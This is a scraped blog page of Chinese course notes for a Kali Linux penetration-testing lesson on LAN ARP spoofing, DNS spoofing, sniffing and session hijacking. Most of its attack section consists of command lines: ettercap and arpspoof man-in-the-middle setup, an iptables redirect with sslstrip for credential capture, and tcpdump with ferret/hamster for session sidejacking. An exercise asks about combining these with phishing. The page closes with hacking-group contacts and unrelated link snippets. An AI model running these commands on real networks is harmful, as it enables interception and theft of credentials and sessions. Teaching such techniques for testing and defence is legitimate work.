Kali Linux Web 渗透测试视频教程—第十四课-arp欺骗、嗅探、dns欺骗、session劫持
Kali Linux Web 渗透测试视频教程—第十四课-arp欺骗、嗅探、dns欺骗、session劫持
文/玄魂
目录
Kali Linux Web 渗透测试—第十四课-arp欺骗、嗅探、dns欺骗、session劫持 1
关于嗅探、arp欺骗、会话劫持.............................................................. 1
视频教程地址:http://edu.51cto.com/course/course_id-1887.html
关于嗅探、arp欺骗、会话劫持
l 1. google
l 2. http://www.cnblogs.com/xuanhun/archive/2009/01/05/1369828.html
l http://www.cnblogs.com/xuanhun/archive/2009/04/22/1441274.html
会话劫持的实现手段
l 中间人攻击(arp欺骗,dns欺骗)
l 注射式攻击
Arp欺骗--ettercap
l 参数说明:http://www.91ri.org/4408.html
l 2.如果你是第一次进行中间人攻击操作,那么要对kali下的ettercap做点配置,配置文件是/etc/ettercap/etter.conf
首先你要将ec_uid 、ec_gid都变为0,然后找到linux分类下的if you use iptables这一行,将注释(“#”号)去掉,打开转发。
3./etc/NetworkManager/NetworkManager.conf 修改
4.service network-manager restart
5.echo 1 >> /proc/sys/net/ipv4/ip_forward
6. ettercap -i wlan0 -Tq -M arp:remote /192.168.2.20/
/192.168.2.1/
Arp欺骗—arpspoof
l
echo 1 >> /proc/sys/net/ipv4/ip_forward
l
arpspoof -i eth0 -t 192.168.14.2 192.168.14.132
数据包捕获
l tcpdump
l wireshark
l drafnet等其他自动化工具
Ssl数据嗅探
l iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000(设置)
l iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j
REDIRECT --to-port 10000(取消)
l sslstrip -p -l 10000 -w log.txt
session劫持-arp欺骗
l tcpdump -i eth0 -w qq.cap
l ferret -r qq.cap
l hamster
l 选择目标
l 测试session
64位下ferret 安装
l
dpkg --add-architecture i386
l
apt-get clean && apt-get update
&& apt-get upgrade -y && apt-get dist-upgrade -y
l
sudo aptitude install ferret-sidejack:i386
session劫持-DNS欺骗
l
1. 使用 ettercap 进行arp欺骗
l
2.修改etter.dns 文件
/etc/ettercap/etter.dns
l
3.启用dns_spoof
课后练习
l 结合前面课程中的 set
工具集,我们在局域网中能做到天衣无缝(钓鱼和消息转发相结合)的钓鱼攻击吗?
l 局域网中的嗅探、钓鱼、session劫持、dns欺骗这一类的攻击的防御方式是什么?
视频教程地址:http://edu.51cto.com/course/course_id-1887.html
ps:对此文章感兴趣的读者,可以加qq群:Hacking:303242737;Hacking-2群:147098303;Hacking-3群:31371755;hacking-4群:201891680;Hacking-5群:316885176
Kali Linux Web 渗透测试视频教程—第十四课-arp欺骗、嗅探、dns欺骗、session劫持的更多相关文章
- KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础
原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...
- Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击
Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击................... ...
- Kali Linux Web 渗透测试视频教程—第十课 w3af
Kali Linux Web 渗透测试视频教程—第十课 w3af 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/24/kali-linux-web- ...
- KALI LINUX WEB 渗透测试视频教程—第16课 BEEF基本使用
Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用............... ...
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
- Kali Linux Web 渗透测试视频教程— 第八课 nessus
Kali Linux Web 渗透测试视频教程— 第八课 nessus 文/玄魂 视频课程地址:http://edu.51cto.com/course/course_id-1887.html 目录 n ...
- Kali Linux Web 渗透测试视频教程— 第七课 OpenVas
Kali Linux Web 渗透测试视频教程— 第七课 OpenVas 文/玄魂 视频教程地址:http://edu.51cto.com/course/course_id-1887.html 目录 ...
- kali Linux Web 渗透测试视频教程— 第六课 网络扫描-nmap与zmap
Kali Linux Web 渗透测试视频教程— 第六课 网络扫描-nmap与zmap 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第六课 网络扫描-nmap与zmap. 1 N ...
- Kali Linux Web 渗透测试视频教程— 第十三课-密码破解
Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...
随机推荐
- 当前JS文件中加入其他js文件
注意:在html文件导入a.js时,应该把script></script写在/body>后面,否则 document.write()方法有问题. 在载入页面后,浏览器输出流自动关闭: ...
- JAVA课程实验报告 实验五 Java网络编程及安全
北京电子科技学院(BESTI) 实 验 报 告 课程:Java程序设计 班级:1353 姓名:韩玉琪 学号:20135317 成绩: 指导教师:娄嘉 ...
- Rstudio代码的快捷键
按tab键:有自动补全的功能 Ctrl+Enter:运行改行代码 Ctrl+1: 移动焦点到source编辑区 Ctrl+2: 移动焦点到控制台 Ctrl+enter Ctrl+L:删除该控制台的所有 ...
- 解决C# 转到定义时打开的是元数据文件而非源代码文件的问题
原因:添加引用时 使用的是“浏览"选项卡,选择了项目生成的dll作为引用的内容. 解决:添加引用时 使用的是"项目"选项卡,选择了项目本身作为引用的内容.
- 学习笔记008之Task
栈 为后进先出 如何实现一个弹出窗体.
- umf(转)
深入浅出Eclipse Modeling Framework (EMF) Eclipse Modeling Framework (EMF),简单的说,就是Eclipse提供的一套建模框架,可以用EMF ...
- ORA-12505 错误解决
在Fedora下安装了Oracle 10gR2,安装完成之后,使用netca创建了监听,创建的时候没有使用默认的LISTENER和1521端口,而是使用了LISTENER_DELL和1522端口,终 ...
- (转)SqlBulkCopy批量复制数据
在.Net1.1中无论是对于批量插入整个DataTable中的所有数据到数据库中,还是进行不同数据源之间的迁移,都不是很方便.而 在.Net2.0中,SQLClient命名空间下增加了几个新类帮助我们 ...
- socket方法
// 创建一个Socket实例var socket = new WebSocket('ws://192.168.2.72:8430'); // 打开Socket socket.onopen = fun ...
- Centos7 Cacti-0.8.8g安装及SNMP简介
在官网可以看到关于cacti的下载说明http://www.cacti.net/download_cacti.php Download Cacti The latest stable version ...